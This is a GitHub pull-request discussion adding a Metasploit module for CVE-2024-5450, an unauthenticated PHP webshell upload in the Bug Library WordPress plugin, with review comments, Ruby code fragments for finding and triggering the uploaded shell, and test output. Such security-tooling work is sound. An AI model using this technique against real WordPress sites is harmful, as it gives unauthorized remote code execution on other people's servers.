Skip to content

Add WordPress Bug Library < 2.1.1 unauthenticated file upload RCE module (CVE-2024-5450) - #21716

Open
TrinityBerserker wants to merge 4 commits into
rapid7:masterfrom
TrinityBerserker:add-wp-bug-library-exploit
Open

Add WordPress Bug Library < 2.1.1 unauthenticated file upload RCE module (CVE-2024-5450)#21716
TrinityBerserker wants to merge 4 commits into
rapid7:masterfrom
TrinityBerserker:add-wp-bug-library-exploit

Conversation

@TrinityBerserker

Copy link
Copy Markdown

Description

This module exploits CVE-2024-5450, an unauthenticated arbitrary file upload in the Bug Library WordPress plugin (versions < 2.1.1). The bug report submission form accepts file attachments without validating the file extension, allowing an unauthenticated attacker to upload a PHP webshell and achieve RCE.

Verification Steps

  1. Set up WordPress with Bug Library < 2.1.1, attachments enabled, CAPTCHA disabled
  2. use exploit/unix/webapp/wp_bug_library_file_upload
  3. set RHOSTS , set RPORT
  4. run check — expected: "Bug Library plugin detected"
  5. run — expected: webshell uploaded, located, and executed

Test Evidence

[] The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found)
[
] Using product_id=2, type_id=3
[+] Bug report accepted by the server. Searching for the uploaded webshell...
[+] Webshell located at: http://127.0.0.1:8080/wp-content/uploads/bug-library/bugimage-6.php

Environment

  • OS: Kali Linux 2026.1
  • Target: WordPress 6.4 + Bug Library 2.0.3 (Docker local lab)

Comment thread modules/exploits/unix/webapp/wp_bug_library_file_upload.rb
Comment on lines +150 to +155
check_result = check
unless check_result == CheckCode::Appears
fail_with(Failure::NotVulnerable,
'Bug Library plugin was not detected on this target. ' \
'Verify the plugin is installed and active.')
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
check_result = check
unless check_result == CheckCode::Appears
fail_with(Failure::NotVulnerable,
'Bug Library plugin was not detected on this target. ' \
'Verify the plugin is installed and active.')
end
Suggested change
check_result = check
unless check_result == CheckCode::Appears
fail_with(Failure::NotVulnerable,
'Bug Library plugin was not detected on this target. ' \
'Verify the plugin is installed and active.')
end

Prepending autocheck will automatically call check unless the user specifically disables it.
I don't think you're setting anything required for t

Comment on lines +158 to +166
print_status('Retrieving valid product/type term IDs from the bug-submission form...')
product_id, type_id = get_form_term_ids
print_status("Using product_id=#{product_id}, type_id=#{type_id}")

# 3. Note the highest post ID before we create ours
print_status('Determining current post ID baseline...')
baseline = get_baseline_post_id
print_status("Post ID baseline: #{baseline}. " \
"Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.")

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
print_status('Retrieving valid product/type term IDs from the bug-submission form...')
product_id, type_id = get_form_term_ids
print_status("Using product_id=#{product_id}, type_id=#{type_id}")
# 3. Note the highest post ID before we create ours
print_status('Determining current post ID baseline...')
baseline = get_baseline_post_id
print_status("Post ID baseline: #{baseline}. " \
"Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.")
vprint_status('Retrieving valid product/type term IDs from the bug-submission form...')
product_id, type_id = get_form_term_ids
vprint_status("Using product_id=#{product_id}, type_id=#{type_id}")
# 3. Note the highest post ID before we create ours
vprint_status('Determining current post ID baseline...')
baseline = get_baseline_post_id
vprint_status("Post ID baseline: #{baseline}. " \
"Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.")

Minor and optional- no need to print diagnostics all the time. Users can request more verbose output by selecting verbose=true

next unless probe && probe.code == 200

shell_uri = uri
register_file_for_cleanup(uri)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

register_file_for_cleanup attempts to clean up via the established session running locally. Will the uri value here make sense to the payload running locally?

end

unless shell_uri
fail_with(Failure::NotFound,

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is it possible to delete the payload via the web interface in case the exploit fails?

@bwatters-r7 bwatters-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Jul 29, 2026
@github-actions

Copy link
Copy Markdown

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@bwatters-r7 bwatters-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 29, 2026
@TrinityBerserker
TrinityBerserker force-pushed the add-wp-bug-library-exploit branch from e728ab1 to 2323910 Compare July 31, 2026 08:11
@TrinityBerserker

Copy link
Copy Markdown
Author

Hi @bwatters-r7, thank you for the detailed review!

I've addressed all four points:

  1. Added prepend Msf::Exploit::Remote::Autocheck and removed the manual check block from exploit
  2. Changed print_status to vprint_status for diagnostic messages
  3. Removed register_file_for_cleanup — replaced with a web-based HTTP DELETE cleanup attempt when no session is established
  4. Fixed module title (removed < character) and WPVDB reference per msftidy

Rubocop and msftidy both pass clean now. Ready for re-review!

@bwatters-r7

Copy link
Copy Markdown
Contributor

I am not entirely clear on this failure:

The job fails in spec/modules_spec.rb because Metasploit rejects this filename:

modules/exploits/unix/webapp/wp_bug_library_file_upload.rb
Error from logs:

invalid module filename (must be lowercase alphanumeric snake case)

I'll need to do a little hunting on that one. I don't see any hidden chars, though if there is some kind of bespoke encoding, that also might cause an issue.

@bwatters-r7 bwatters-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should fix the failing spec tests.
AutoCheck has a capital C and there was a stray unicode em-dash in the description.

Comment thread modules/exploits/unix/webapp/wp_bug_library_file_upload.rb Outdated
Comment thread modules/exploits/unix/webapp/wp_bug_library_file_upload.rb Outdated
@bwatters-r7 bwatters-r7 moved this from Ready to Waiting on Contributor in Metasploit Kanban Aug 4, 2026
@TrinityBerserker
TrinityBerserker force-pushed the add-wp-bug-library-exploit branch from 2323910 to 01d3451 Compare August 5, 2026 10:14
@TrinityBerserker

TrinityBerserker commented Aug 5, 2026

Copy link
Copy Markdown
Author

Hi @bwatters-r7, thanks for the detailed feedback! Here's a summary of what was updated:

  1. Added prepend Msf::Exploit::Remote::Autocheck and removed the manual check block from exploit — Autocheck now handles this automatically.

  2. Changed print_status to vprint_status for intermediate diagnostic messages — users can control verbosity with verbose=true.

  3. Removed register_file_for_cleanup — replaced with a web-based cleanup block that attempts HTTP DELETE on the shell if no session is established, and warns the user with the full URI if the DELETE fails.

  4. Ran Rubocop with -a and msftidy — all offenses corrected, both report no offenses detected.

For a future follow-up: it would be possible to implement session-based cleanup using register_file_for_cleanup with the full server-side path once a session is established, as a more reliable alternative to the HTTP DELETE approach. Happy to add that in a separate PR if it would be useful.

Additionally:

  • Fixed AutoCheck capitalization (AutocheckAutoCheck)
  • Replaced em dash with a regular hyphen in the CVSSv3 description line

@TrinityBerserker
TrinityBerserker force-pushed the add-wp-bug-library-exploit branch from 01d3451 to 2b46b19 Compare August 5, 2026 10:28
@bwatters-r7

Copy link
Copy Markdown
Contributor

For a future follow-up: it would be possible to implement session-based cleanup using register_file_for_cleanup with the full server-side path once a session is established, as a more reliable alternative to the HTTP DELETE approach. Happy to add that in a separate PR if it would be useful.

Would you be willing to add that here? Keep the HTTP delete if the exploit fails, but use the full (or relative) path for register_file_for_cleanup? My earlier question about the uri value was that I was not sure if the uri in that case would be the filename. I think it is a good idea to keep both the HTTP delete and have the register_file_for_cleanup if that's possible.

@TrinityBerserker
TrinityBerserker force-pushed the add-wp-bug-library-exploit branch from 2b46b19 to 4731467 Compare August 6, 2026 07:26
@TrinityBerserker

Copy link
Copy Markdown
Author

Done! Added register_file_for_cleanup with the relative path for session-based cleanup, while keeping the HTTP DELETE as a fallback when no session is established. Both strategies are now in place.

One potential future improvement: the check method currently only verifies the plugin is installed (via stylesheet.css). It could be enhanced to also confirm the vulnerable submission form is accessible and the file attachment field is present — making the check more precise. Happy to add that here or in a follow-up PR, whatever you prefer.

@TrinityBerserker

Copy link
Copy Markdown
Author

Hi @bwatters-r7, just checking in let me know if there's anything else needed on my end. Happy to make any additional changes!

- Fix crash: exploit() called `if session`, but no `session` accessor
  exists on this module's ancestor chain, so it raised NoMethodError
  on every successful run right after triggering the payload. Replace
  the branch with an unconditional register_file_for_cleanup call,
  matching how FileDropper is used elsewhere (e.g.
  wp_holding_pattern_file_upload.rb) and how it actually works
  (on_new_session/cleanup() handle deletion, no session accessor
  needed).
- Respect WPCONTENTDIR: check() and the webshell-search loop now
  build paths via wordpress_url_plugins/wordpress_url_uploads instead
  of hardcoding 'wp-content', so the module still works against
  installs with a renamed content directory.
- Use wordpress_url_rest_api/wordpress_url_rss for baseline post-ID
  lookup instead of hand-built URIs, for consistency with the rest of
  the WordPress module ecosystem and to fix the RSS fallback (plain
  '/feed' 404s under default "Plain" permalinks; '?feed=rss2' does
  not).
- Fix a false-negative/double-fire race in the webshell discovery
  loop: probing a candidate URI also triggers it (PHP executes on
  GET), so for a blocking/interactive payload (e.g.
  php/meterpreter/reverse_tcp) the probe on the real file stalls past
  its read timeout, causing the module to report Failure::NotFound
  even after a session already opened -- and to fire the payload a
  second time via the old separate "trigger" request. Use a short
  per-probe timeout and treat a timeout as "found it, it's busy
  running the payload"; drop the now-redundant separate trigger step.

Verified against a live docker WordPress 6.4 + Bug Library 2.0.8
target: check() detects the plugin, exploit() uploads and triggers
the webshell, and a single php/meterpreter/reverse_tcp session opens
cleanly (getuid: www-data, sysinfo confirms php/linux meterpreter) --
no crash, no duplicate session.
@bwatters-r7

Copy link
Copy Markdown
Contributor

TrinityBerserker#1

bwatters-r7 and others added 2 commits August 12, 2026 13:41
Tried adding an HTTP DELETE-based cleanup fallback for the case where
no session is established, on top of register_file_for_cleanup.
Tested it against the live docker target and it doesn't work:

- Against an interactive payload (php/meterpreter/reverse_tcp), the
  DELETE request just re-executes the PHP file the same as any other
  HTTP verb would, opening a second, redundant session.
- Against a one-shot payload (php/exec), the DELETE "succeeds" (HTTP
  200) but the file is confirmed still present on disk -- there's no
  WebDAV/mod_dav on a plain PHP/Apache-or-nginx target, so DELETE was
  never wired to filesystem deletion; PHP just runs the script again
  and returns its normal 200, which looks identical to a real
  deletion from the response code alone.

Gating the DELETE on the discovery probe's timeout (as a proxy for
"payload is blocking/interactive") avoids the duplicate-session case,
but the false-success problem is unfixable from the client side: nothing
distinguishes "the file was deleted" from "the file executed again"
in the response. Documented this in a comment instead of shipping a
cleanup path that duplicates exploitation or lies about its result.
register_file_for_cleanup (session-based cleanup) remains the only
cleanup mechanism.
Fix wp_bug_library_file_upload review findings (PR rapid7#21716)
@TrinityBerserker

Copy link
Copy Markdown
Author

Hi @bwatters-r7! I've merged your branch with the fixes into mine. Everything is updated and ready on my end for your final approval and merge. Thanks for the help!

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds a new Metasploit exploit module and accompanying documentation for CVE-2024-5450 (Bug Library WordPress plugin < 2.1.1), enabling unauthenticated arbitrary PHP file upload leading to RCE via the public bug-report submission form.

Changes:

  • Added exploit/unix/webapp/wp_bug_library_file_upload module implementing upload + discovery of the resulting bugimage-<post_id>.php payload in the uploads directory.
  • Added end-user module documentation covering setup, options, and example exploitation output.

Impact Analysis: isolated change; no meaningful downstream impact identified from diff.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File Description
modules/exploits/unix/webapp/wp_bug_library_file_upload.rb New unauthenticated WordPress plugin file-upload RCE module with AutoCheck, form-field discovery, baseline post-ID heuristics, and FileDropper cleanup registration.
documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md New module documentation with Docker setup, verification steps, options, and scenarios.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment on lines +74 to +84
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'bug-library', 'stylesheet.css')
)

return CheckCode::Safe('Bug Library plugin stylesheet not found') unless res
return CheckCode::Safe("Unexpected HTTP #{res.code} for plugin stylesheet") unless res.code == 200

CheckCode::Appears('Bug Library plugin detected (stylesheet.css found)')
end
Comment on lines +123 to +131
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_rest_api, 'posts'),
'vars_get' => { 'per_page' => '1', 'orderby' => 'id', 'order' => 'desc' }
)

if res && res.code == 200 && res.body =~ /"id"\s*:\s*(\d+)/
return ::Regexp.last_match(1).to_i
end
Comment on lines +255 to +256
probe = send_request_cgi({ 'method' => 'GET', 'uri' => uri }, probe_timeout)
next unless probe.nil? || probe.code == 200
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

needs-linting The module needs additional work to pass our automated linting rules rn-modules release notes for new or majorly enhanced modules

Projects

Status: Waiting on Contributor

Development

Successfully merging this pull request may close these issues.

4 participants